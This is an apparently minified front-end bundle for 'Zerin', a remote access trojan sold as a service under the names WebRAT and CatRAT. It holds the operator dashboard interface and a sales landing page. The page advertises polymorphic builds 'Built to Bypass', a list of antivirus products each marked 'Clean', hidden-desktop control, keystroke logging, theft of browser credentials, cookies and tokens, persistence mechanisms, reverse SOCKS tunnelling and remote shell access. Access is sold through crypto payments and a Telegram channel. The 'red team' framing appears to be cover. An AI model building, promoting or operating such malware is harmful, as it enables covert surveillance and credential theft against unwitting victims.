(${K.internal_ip})`),[K,...$]})}if(U.type==="event"){const K=U.payload;(K.type==="task_completed"||K.type==="task_failed")&&m("Task Update",K.message)}},[m]),{isConnected:T,lastMessage:P}=VE({onMessage:E});return p.useEffect(()=>{function U(K){(K.metaKey||K.ctrlKey)&&K.key==="k"&&(K.preventDefault(),g($=>!$))}return window.addEventListener("keydown",U),()=>window.removeEventListener("keydown",U)},[]),s.jsx(Gu.Provider,{value:{lastMessage:P},children:s.jsxs("div",{className:"flex h-screen bg-zerin-bg overflow-hidden",children:[s.jsxs("aside",{className:"w-56 flex-shrink-0 bg-zerin-panel border-r border-zerin-panel-border flex flex-col",children:[s.jsx("div",{className:"px-5 py-5 border-b border-zerin-panel-border cursor-pointer group",onClick:()=>l("/dashboard"),children:s.jsxs("div",{className:"flex items-center gap-2 relative",children:[b&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"femboy-ear femboy-ear-left"}),s.jsx("div",{className:"femboy-ear femboy-ear-right"})]}),s.jsx("span",{className:`font-display text-lg font-bold transition-colors ${j?"synthwave-logo-glow":b?"text-[#ff69b4] femboy-logo-glow":"text-zerin-text group-hover:text-zerin-accent"}`,children:"ZERIN"}),s.jsx("span",{className:`px-1.5 py-0.5 text-[10px] font-mono font-semibold tracking-wider ${j?"text-[#00F0FF] border border-[#00F0FF]/30 synthwave-badge":b?"text-[#ff69b4] border border-[#ff69b4]/25 femboy-badge":"text-zerin-accent border border-zerin-accent/20"}`,children:j?"NEON":b?"CatRAT":"WebRAT"})]})}),s.jsxs("button",{onClick:()=>g(!0),className:`mx-3 mt-4 flex items-center gap-2.5 px-3 py-2 text-xs\r + text-zerin-text-muted border border-zerin-panel-border\r + hover:border-zerin-panel-border-hover hover:text-zerin-text-dim\r + transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("span",{className:"flex-1 text-left",children:"Search..."}),s.jsx("kbd",{className:"text-[10px] font-mono bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border",children:"Ctrl+K"})]}),s.jsx("nav",{className:"flex-1 px-3 py-4 space-y-0.5",children:o.map(({to:U,label:K,icon:$})=>s.jsx(cE,{to:U,end:U==="/dashboard",className:({isActive:L})=>`group relative flex items-center gap-3 px-3 py-2.5 text-sm font-sans transition-colors duration-150 + ${L?"bg-zerin-accent-muted text-zerin-accent":"text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover"}`,children:({isActive:L})=>s.jsxs(s.Fragment,{children:[L&&s.jsx("span",{className:"absolute left-0 top-1/2 -translate-y-1/2 w-0.5 h-5 bg-zerin-accent"}),s.jsx("span",{className:L?"text-zerin-accent":"text-zerin-text-muted group-hover:text-zerin-text-dim",children:$}),s.jsx("span",{className:"font-medium",children:K}),U==="/payloads"&&r&&s.jsx("span",{className:"ml-auto flex items-center gap-1.5",children:s.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]})})]})},U))}),s.jsxs("div",{className:"px-3 py-4 border-t border-zerin-panel-border space-y-3",children:[h&&s.jsxs("button",{onClick:()=>{c!=="granted"?d():f()},className:`w-full flex items-center gap-2.5 px-3 py-2 text-xs\r + text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover\r + transition-colors duration-150`,title:u?"Notifications enabled — click to disable":"Click to enable notifications",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})}),s.jsx("span",{className:"flex-1 text-left",children:"Notifications"}),s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${u&&c==="granted"?"bg-zerin-accent":"bg-zinc-600"}`})]}),s.jsxs("div",{className:"flex items-center gap-2.5 px-3 py-2 text-xs select-none",onClick:w,children:[s.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${T?"bg-zerin-accent":"bg-zinc-600"}`}),s.jsx("span",{className:T?"text-zerin-text-dim":"text-zerin-text-muted",children:T?j?"ONLINE // NEON":b?"Nyaa~ Connected":"Connected":j?"OFFLINE // DARK":"Disconnected"})]}),s.jsxs("button",{onClick:e,className:`w-full flex items-center gap-2.5 px-3 py-2 text-sm font-sans\r + text-zerin-text-dim hover:text-zerin-danger hover:bg-zerin-danger-dim\r + transition-colors duration-150`,children:[s.jsxs("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:[s.jsx("path",{fillRule:"evenodd",d:"M3 3a1 1 0 00-1 1v12a1 1 0 001 1h6a1 1 0 100-2H4V5h5a1 1 0 100-2H3zm11.707 3.293a1 1 0 010 1.414L12.414 10l2.293 2.293a1 1 0 01-1.414 1.414l-3-3a1 1 0 010-1.414l3-3a1 1 0 011.414 0z",clipRule:"evenodd"}),s.jsx("path",{fillRule:"evenodd",d:"M17 10a1 1 0 00-1-1H9a1 1 0 100 2h7a1 1 0 001-1z",clipRule:"evenodd"})]}),s.jsx("span",{children:j?"JACK OUT":b?"Bai bai~":"Sign out"})]})]})]}),s.jsx("main",{className:"flex-1 overflow-auto custom-scrollbar bg-zerin-bg",children:s.jsx(GP,{})}),s.jsx(fA,{open:x,onClose:()=>g(!1),agents:y}),b&&s.jsx(gA,{}),k&&s.jsxs("div",{className:"fixed inset-0 z-[9999] flex items-center justify-center cursor-pointer",onClick:()=>S(!1),style:{animation:"credits-in 0.5s ease-out"},children:[s.jsx("div",{className:"absolute inset-0 bg-black/90 backdrop-blur-sm"}),s.jsxs("div",{className:"relative text-center select-none",style:{animation:"glitch-appear 0.6s ease-out"},children:[s.jsx("pre",{className:"text-cyan-400 text-xs sm:text-sm font-mono mb-8 leading-tight",style:{textShadow:"0 0 10px rgba(0, 255, 255, 0.5), 0 0 40px rgba(0, 255, 255, 0.2)",animation:"credits-glow 2s ease-in-out infinite alternate"},children:` + _______ ______ ______ _____ __ _ + / |______ |_____/ | | \\ | + / |______ | \\_ __|__ | \\_| + `}),s.jsxs("div",{className:"space-y-4 mb-10",children:[s.jsx("p",{className:"text-zinc-500 text-xs font-mono tracking-[0.3em] uppercase",children:"Developed by"}),s.jsxs("div",{className:"space-y-3",children:[s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.2s both"},children:"Cycle"}),s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.4s both"},children:"SysBuffer"}),s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.6s both"},children:"Ace"})]})]}),s.jsx("p",{className:"text-zinc-600 text-[10px] font-mono tracking-widest uppercase",style:{animation:"credit-slide 0.5s ease-out 0.8s both"},children:"click anywhere to close"})]}),s.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03]",style:{background:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.1) 2px, rgba(255,255,255,0.1) 4px)"}}),s.jsx("style",{children:` + @keyframes credits-in { + from { opacity: 0; } + to { opacity: 1; } + } + @keyframes glitch-appear { + 0% { transform: scale(0.95) translateY(10px); opacity: 0; filter: blur(4px); } + 50% { transform: scale(1.02) translateY(-2px); filter: blur(0); } + 100% { transform: scale(1) translateY(0); opacity: 1; filter: blur(0); } + } + @keyframes credits-glow { + from { text-shadow: 0 0 10px rgba(0,255,255,0.5), 0 0 40px rgba(0,255,255,0.2); } + to { text-shadow: 0 0 20px rgba(0,255,255,0.8), 0 0 60px rgba(0,255,255,0.3); } + } + @keyframes credit-slide { + from { opacity: 0; transform: translateY(15px); } + to { opacity: 1; transform: translateY(0); } + } + `})]})]})})}const bA=p.memo(function(){const t=p.useRef(null);return p.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,a=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let k=0;k{y(),b()};return window.removeEventListener("resize",y),window.addEventListener("resize",j),()=>{cancelAnimationFrame(i),window.removeEventListener("resize",j)}},[]),s.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function wA(e,t=40,n=0){const r=p.useRef(null),i=p.useRef(null),[a,o]=p.useState(!1);return p.useEffect(()=>{let l=0;o(!1),r.current&&(r.current.textContent=""),i.current&&(i.current.style.display="");const c=setTimeout(()=>{const u=setInterval(()=>{l++,r.current&&(r.current.textContent=e.slice(0,l)),l>=e.length&&(clearInterval(u),o(!0),i.current&&(i.current.style.display="none"))},t);return()=>clearInterval(u)},n);return()=>clearTimeout(c)},[e,t,n]),{spanRef:r,cursorRef:i,done:a}}const jA=[{tag:"STEALTH",title:"Low Detection Rate",desc:"Polymorphic engine that generates unique builds every time. Unique hashes, code paths, and structure — designed for red team engagements where evasion matters.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"STEALTH",title:"Process Concealment",desc:"Advanced in-memory execution with API-level hooks. Simulates APT tradecraft used in real-world adversary emulation engagements.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"PERSIST",title:"Persistence Testing",desc:"12 persistence mechanisms for thorough assessment coverage. Test registry keys, scheduled tasks, services, WMI, COM objects, and more.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"ACCESS",title:"Remote Desktop",desc:"Hidden desktop session for interactive access. Supports VNC and hVNC for stealthy operator control during engagements.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M9 17.25v1.007a3 3 0 0 1-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0 1 15 18.257V17.25m6-12V15a2.25 2.25 0 0 1-2.25 2.25H5.25A2.25 2.25 0 0 1 3 15V5.25A2.25 2.25 0 0 1 5.25 3h13.5A2.25 2.25 0 0 1 21 5.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CAPTURE",title:"Screen Capture",desc:"GPU-accelerated DXGI capture with dirty-rect tiling. Low-latency streaming for real-time monitoring during assessments.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CREDS",title:"Credential Auditing",desc:"Extracts stored credentials, cookies, and tokens from browsers and applications. Validates password hygiene across the target environment.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CRYPTO",title:"Encrypted C2",desc:"ChaCha20-Poly1305 encrypted communications. X25519 key exchange. TLS 1.3 transport. Zero plaintext on the wire — ever.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"SHELL",title:"Command Execution",desc:"Interactive shell with full PowerShell and CMD support. Run commands, scripts, and post-exploitation modules on target systems.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"RECON",title:"Input Monitoring",desc:"Real-time keystroke capture with window context. Logs organized by application for comprehensive assessment data.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 8.25h9m-9 3H12m-9.75 1.51c0 1.6 1.123 2.994 2.707 3.227 1.129.166 2.27.293 3.423.379.35.026.67.21.865.501L12 21l2.755-4.133a1.14 1.14 0 0 1 .865-.501 48.172 48.172 0 0 0 3.423-.379c1.584-.233 2.707-1.626 2.707-3.228V6.741c0-1.602-1.123-2.995-2.707-3.228A48.394 48.394 0 0 0 12 3c-2.392 0-4.744.175-7.043.513C3.373 3.746 2.25 5.14 2.25 6.741v6.018Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"TUNNEL",title:"SOCKS5 Proxy",desc:"Reverse SOCKS5 tunnel through the agent. Pivot into internal networks and route traffic for lateral movement testing.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})})}],kA=["Windows Defender","CrowdStrike Falcon","SentinelOne","Kaspersky","Bitdefender","Norton 360","ESET NOD32","Malwarebytes","McAfee Total","Sophos Endpoint","Trend Micro","Avast Premium","CylancePROTECT","Carbon Black","Palo Alto Cortex","Webroot"];function vs({value:e,label:t,suffix:n="",prefix:r=""}){const i=p.useRef(null),a=p.useRef(null);return p.useEffect(()=>{const o=i.current,l=a.current;if(!o||!l)return;const c=new IntersectionObserver(([u])=>{if(u.isIntersecting){let d=0;const m=Math.max(1,Math.ceil(e/40)),h=setInterval(()=>{d+=m,d>=e?(l.textContent=r+e.toLocaleString()+n,clearInterval(h)):l.textContent=r+d.toLocaleString()+n},50);c.disconnect()}},{threshold:.3});return c.observe(o),()=>c.disconnect()},[e,n,r]),s.jsxs("div",{ref:i,className:"text-center",children:[s.jsxs("div",{ref:a,className:"font-mono text-4xl md:text-5xl font-bold text-zerin-accent tabular-nums",children:[r,"0",n]}),s.jsx("div",{className:"text-zerin-text-muted text-sm mt-2 uppercase tracking-widest font-mono text-[11px]",children:t})]})}const NA=p.memo(function({name:t,delay:n}){return s.jsxs("div",{className:"flex items-center justify-between px-4 py-[7px] border-b border-[#111118] last:border-b-0 landing-scan-row",style:{animationDelay:`${n}ms`},children:[s.jsx("span",{className:"font-mono text-[12px] text-zerin-text-dim/80 truncate",children:t}),s.jsxs("span",{className:"font-mono text-[11px] tracking-wider text-emerald-400/90 flex items-center gap-1.5 flex-shrink-0",children:[s.jsx("span",{className:"w-1 h-1 rounded-full bg-emerald-400/80"}),"Clean"]})]})}),SA=p.memo(function({feature:t,index:n}){return s.jsxs("div",{className:"group relative",style:{animationDelay:`${n*80}ms`},children:[s.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 to-transparent opacity-0 group-hover:opacity-100 transition-opacity duration-500 blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/30 transition-all duration-500 p-6 h-full flex flex-col",children:[s.jsxs("div",{className:"flex items-center justify-between mb-4",children:[s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/60 uppercase",children:t.tag}),s.jsx("span",{className:"text-zerin-accent/40 group-hover:text-zerin-accent transition-colors duration-500",children:t.icon})]}),s.jsx("h3",{className:"text-zerin-text font-display font-semibold text-[15px] mb-2 group-hover:text-zerin-accent transition-colors duration-300",children:t.title}),s.jsx("p",{className:"text-zerin-text-muted text-[13px] leading-relaxed flex-1",children:t.desc}),s.jsx("div",{className:"mt-5 h-[1px] w-0 group-hover:w-full bg-gradient-to-r from-zerin-accent/50 to-transparent transition-all duration-700"})]})]})});function zA(){const e=wA("Adversary Simulation. Red Team Operations.",45,600),[t,n]=p.useState(!1),[r,i]=p.useState(null),[a,o]=p.useState(()=>!sessionStorage.getItem("zerin_beta_dismissed")),l=p.useCallback(()=>{o(!1),sessionStorage.setItem("zerin_beta_dismissed","1")},[]);p.useEffect(()=>{const u=()=>n(window.scrollY>20);return window.addEventListener("scroll",u),()=>window.removeEventListener("scroll",u)},[]);const c=p.useCallback(async u=>{if(!r){i(u);try{const d=await fetch("/api/payments/create",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({tier:u})}),f=await d.json();if(!d.ok){alert(f.error||"Failed to create payment");return}window.location.href=f.invoice_url}catch{alert("Failed to create payment. Please try again.")}finally{i(null)}}},[r]);return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[s.jsx(bA,{}),a&&s.jsxs("div",{className:"fixed inset-0 z-[100] flex items-center justify-center px-4",onClick:l,children:[s.jsx("div",{className:"absolute inset-0 bg-black/70 backdrop-blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 max-w-md w-full p-8 animate-scale-in",onClick:u=>u.stopPropagation(),children:[s.jsx("div",{className:"absolute top-0 left-0 w-3 h-3 border-t border-l border-zerin-accent/50"}),s.jsx("div",{className:"absolute top-0 right-0 w-3 h-3 border-t border-r border-zerin-accent/50"}),s.jsx("div",{className:"absolute bottom-0 left-0 w-3 h-3 border-b border-l border-zerin-accent/50"}),s.jsx("div",{className:"absolute bottom-0 right-0 w-3 h-3 border-b border-r border-zerin-accent/50"}),s.jsxs("div",{className:"flex items-center gap-2.5 mb-5",children:[s.jsx("span",{className:"w-2 h-2 rounded-full bg-amber-400 animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-amber-400/90 uppercase",children:"Beta"})]}),s.jsx("h3",{className:"font-display font-bold text-xl text-zerin-text mb-3",children:"Zerin is still in development"}),s.jsx("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-3",children:"The platform is currently in beta and not yet feature-complete. We're actively building and testing before public release."}),s.jsxs("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-6",children:["The official release will be announced on our"," ",s.jsx("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",children:"Telegram channel"}),"."]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:l,className:"flex-1 bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 text-zerin-accent font-mono text-sm py-2.5 transition-all duration-300",children:"Got it"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"flex-1 bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm py-2.5 text-center transition-all duration-300 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] flex items-center justify-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Join Telegram"]})]})]})]}),s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),s.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${t?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(it,{to:"/features",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),s.jsx("a",{href:"#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx(it,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),s.jsx(it,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),s.jsxs("section",{className:"relative z-10 min-h-screen flex flex-col items-center justify-center px-6 text-center",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 border border-emerald-500/20 bg-emerald-500/5 px-4 py-1.5 mb-8 animate-fade-in",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-emerald-400 animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[11px] text-emerald-400/90 tracking-wide",children:"Advanced Red Team Framework"})]}),s.jsx("img",{src:"/zerin-logo.png",alt:"Zerin",className:"w-28 h-28 md:w-36 md:h-36 object-contain mb-6 opacity-0 animate-fade-in drop-shadow-[0_0_40px_rgba(6,182,212,0.4)]",style:{animationDelay:"200ms",animationFillMode:"forwards"}}),s.jsxs("h1",{className:"font-display font-bold text-5xl sm:text-6xl md:text-7xl lg:text-8xl tracking-tight leading-[0.95] mb-6",children:[s.jsx("span",{className:"block text-zerin-text opacity-0 animate-slide-up",children:"Next-Gen"}),s.jsx("span",{className:"block bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent opacity-0 animate-slide-up",style:{animationDelay:"150ms",animationFillMode:"forwards"},children:"Remote Access"})]}),s.jsx("div",{className:"h-8 mb-8",children:s.jsxs("span",{className:"font-mono text-lg md:text-xl text-zerin-text-muted",children:[s.jsx("span",{ref:e.spanRef}),s.jsx("span",{ref:e.cursorRef,className:"inline-block w-[2px] h-5 bg-zerin-accent ml-0.5 animate-pulse"})]})}),s.jsx("p",{className:"max-w-xl text-zerin-text-muted/80 text-[15px] leading-relaxed mb-10 opacity-0 animate-fade-in",style:{animationDelay:"800ms",animationFillMode:"forwards"},children:"Professional adversary simulation platform for red team operators and penetration testers. Encrypted C2 communications, polymorphic payload generation, and comprehensive post-exploitation capabilities."}),s.jsxs("div",{className:"flex items-center gap-4 opacity-0 animate-fade-in",style:{animationDelay:"1000ms",animationFillMode:"forwards"},children:[s.jsxs("a",{href:"#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-7 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[s.jsx("span",{className:"relative z-10",children:"Get Access"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),s.jsx(it,{to:"/login",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-7 py-3 transition-all duration-300",children:"Sign In"})]}),s.jsxs("div",{className:"absolute bottom-10 left-1/2 -translate-x-1/2 flex flex-col items-center gap-2 opacity-0 animate-fade-in",style:{animationDelay:"1500ms",animationFillMode:"forwards"},children:[s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted/40 uppercase tracking-[0.3em]",children:"Scroll"}),s.jsx("div",{className:"w-[1px] h-8 bg-gradient-to-b from-zerin-accent/30 to-transparent animate-pulse"})]})]}),s.jsx("section",{className:"relative z-10 py-28 px-6",children:s.jsxs("div",{className:"max-w-5xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-14",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-emerald-400/70 uppercase",children:"Evasion Testing"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Built to Bypass."," ",s.jsx("span",{className:"bg-gradient-to-r from-emerald-400 to-cyan-300 bg-clip-text text-transparent",children:"Every Build Unique."})]}),s.jsx("p",{className:"text-zerin-text-muted text-[14px] mt-3 max-w-lg mx-auto",children:"Every payload is structurally unique. Polymorphic generation, encrypted strings, and dynamic API resolution — built for testing your security stack."})]}),s.jsxs("div",{className:"grid lg:grid-cols-2 gap-8 items-start",children:[s.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b] 